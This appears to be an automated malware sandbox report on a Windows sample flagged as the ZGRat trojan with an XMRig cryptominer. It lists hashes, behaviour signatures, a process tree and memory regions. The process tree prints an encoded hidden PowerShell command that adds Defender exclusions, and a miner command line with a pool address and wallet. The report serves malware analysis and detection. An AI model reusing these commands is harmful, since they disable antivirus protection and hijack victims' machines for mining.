Resubmissions

03/01/2024, 11:37

240103-nrgycafdf4 10

03/01/2024, 11:18

240103-nd9q7scgfm 10

Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/01/2024, 11:18

General

  • Target

    Debug.exe

  • Size

    631KB

  • MD5

    eec03d362a4c66fe6ac8064ae68bda50

  • SHA1

    8aa051b9c7f201eb9504fb7023bbc5ffa2458293

  • SHA256

    cd2cc1403cb829e7d7454a3a80d9875834bd3b0837e56493369f2d842bf3f569

  • SHA512

    e6f07b5171fee9fa534f57376aaf6061e541da4ad9cee2e50b3d2ee3eed7cd2d0ed2942a479e8887dc7e4247e969b081b5ebef758854e7c62be35e2af49a8f2d

  • SSDEEP

    12288:vEZR29MfzdOwMI5F09MyMeWR+KSS2g/Pd35/K9TGH4CaxJDua:MZR29Mfzdu6LyZTIdJ/K98n6u

Score
10/10

Malware Config

Signatures

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 12 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Debug.exe
    "C:\Users\Admin\AppData\Local\Temp\Debug.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4492
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABlAGYAYQB1AGwAdABcAE4AYQBtAGUALgBlAHgAZQAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEQAZQBmAGEAdQBsAHQAXABOAGEAbQBlAC4AZQB4AGUA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3860
  • C:\Users\Admin\AppData\Roaming\Default\Name.exe
    C:\Users\Admin\AppData\Roaming\Default\Name.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4052
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3996
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o xmr.2miners.com:2222 -u 45LKKvHCYT5Y9UccfxNKn7VnnmATQDev1gPUvhgfZWjBGY8oDqnaLfnWrDD9vwohiYUzkqtkH7pDnjjCNsL3GpX57nUYFES.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:3516

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ujf3cdbc.j5v.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Default\Name.exe

    Filesize

    631KB

    MD5

    eec03d362a4c66fe6ac8064ae68bda50

    SHA1

    8aa051b9c7f201eb9504fb7023bbc5ffa2458293

    SHA256

    cd2cc1403cb829e7d7454a3a80d9875834bd3b0837e56493369f2d842bf3f569

    SHA512

    e6f07b5171fee9fa534f57376aaf6061e541da4ad9cee2e50b3d2ee3eed7cd2d0ed2942a479e8887dc7e4247e969b081b5ebef758854e7c62be35e2af49a8f2d

  • memory/3516-44-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-50-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-56-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-54-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-52-0x00000244BEBF0000-0x00000244BEC10000-memory.dmp

    Filesize

    128KB

  • memory/3516-51-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-41-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-57-0x00000244BEC10000-0x00000244BEC30000-memory.dmp

    Filesize

    128KB

  • memory/3516-49-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-55-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-48-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-47-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-58-0x00000244BEC10000-0x00000244BEC30000-memory.dmp

    Filesize

    128KB

  • memory/3516-46-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3516-45-0x00000244BEBA0000-0x00000244BEBC0000-memory.dmp

    Filesize

    128KB

  • memory/3516-43-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/3860-12-0x00007FFE2CCD0000-0x00007FFE2D791000-memory.dmp

    Filesize

    10.8MB

  • memory/3860-22-0x00007FFE2CCD0000-0x00007FFE2D791000-memory.dmp

    Filesize

    10.8MB

  • memory/3860-15-0x00000187EA3B0000-0x00000187EA3D2000-memory.dmp

    Filesize

    136KB

  • memory/3860-14-0x00000187EA450000-0x00000187EA460000-memory.dmp

    Filesize

    64KB

  • memory/3860-13-0x00000187EA450000-0x00000187EA460000-memory.dmp

    Filesize

    64KB

  • memory/3996-42-0x0000025BAEF30000-0x0000025BAEF40000-memory.dmp

    Filesize

    64KB

  • memory/3996-35-0x00007FFE2C770000-0x00007FFE2D231000-memory.dmp

    Filesize

    10.8MB

  • memory/3996-53-0x0000025BAEF30000-0x0000025BAEF40000-memory.dmp

    Filesize

    64KB

  • memory/3996-39-0x00007FFE2C770000-0x00007FFE2D231000-memory.dmp

    Filesize

    10.8MB

  • memory/3996-40-0x0000025BAEF30000-0x0000025BAEF40000-memory.dmp

    Filesize

    64KB

  • memory/3996-38-0x0000025BAEF30000-0x0000025BAEF40000-memory.dmp

    Filesize

    64KB

  • memory/3996-37-0x0000025BAEF30000-0x0000025BAEF40000-memory.dmp

    Filesize

    64KB

  • memory/4052-36-0x00007FFE2C770000-0x00007FFE2D231000-memory.dmp

    Filesize

    10.8MB

  • memory/4052-32-0x0000026335B40000-0x0000026335B50000-memory.dmp

    Filesize

    64KB

  • memory/4052-33-0x0000026335B40000-0x0000026335B50000-memory.dmp

    Filesize

    64KB

  • memory/4052-29-0x00007FFE2C770000-0x00007FFE2D231000-memory.dmp

    Filesize

    10.8MB

  • memory/4052-30-0x0000026335B40000-0x0000026335B50000-memory.dmp

    Filesize

    64KB

  • memory/4492-0-0x0000022D475E0000-0x0000022D47682000-memory.dmp

    Filesize

    648KB

  • memory/4492-4-0x0000022D492A0000-0x0000022D492F6000-memory.dmp

    Filesize

    344KB

  • memory/4492-26-0x00007FFE2CCD0000-0x00007FFE2D791000-memory.dmp

    Filesize

    10.8MB

  • memory/4492-6-0x0000022D61C90000-0x0000022D61CE4000-memory.dmp

    Filesize

    336KB

  • memory/4492-5-0x0000022D49330000-0x0000022D4937C000-memory.dmp

    Filesize

    304KB

  • memory/4492-1-0x0000022D61B90000-0x0000022D61C92000-memory.dmp

    Filesize

    1.0MB

  • memory/4492-2-0x00007FFE2CCD0000-0x00007FFE2D791000-memory.dmp

    Filesize

    10.8MB

  • memory/4492-3-0x0000022D61D40000-0x0000022D61D50000-memory.dmp

    Filesize

    64KB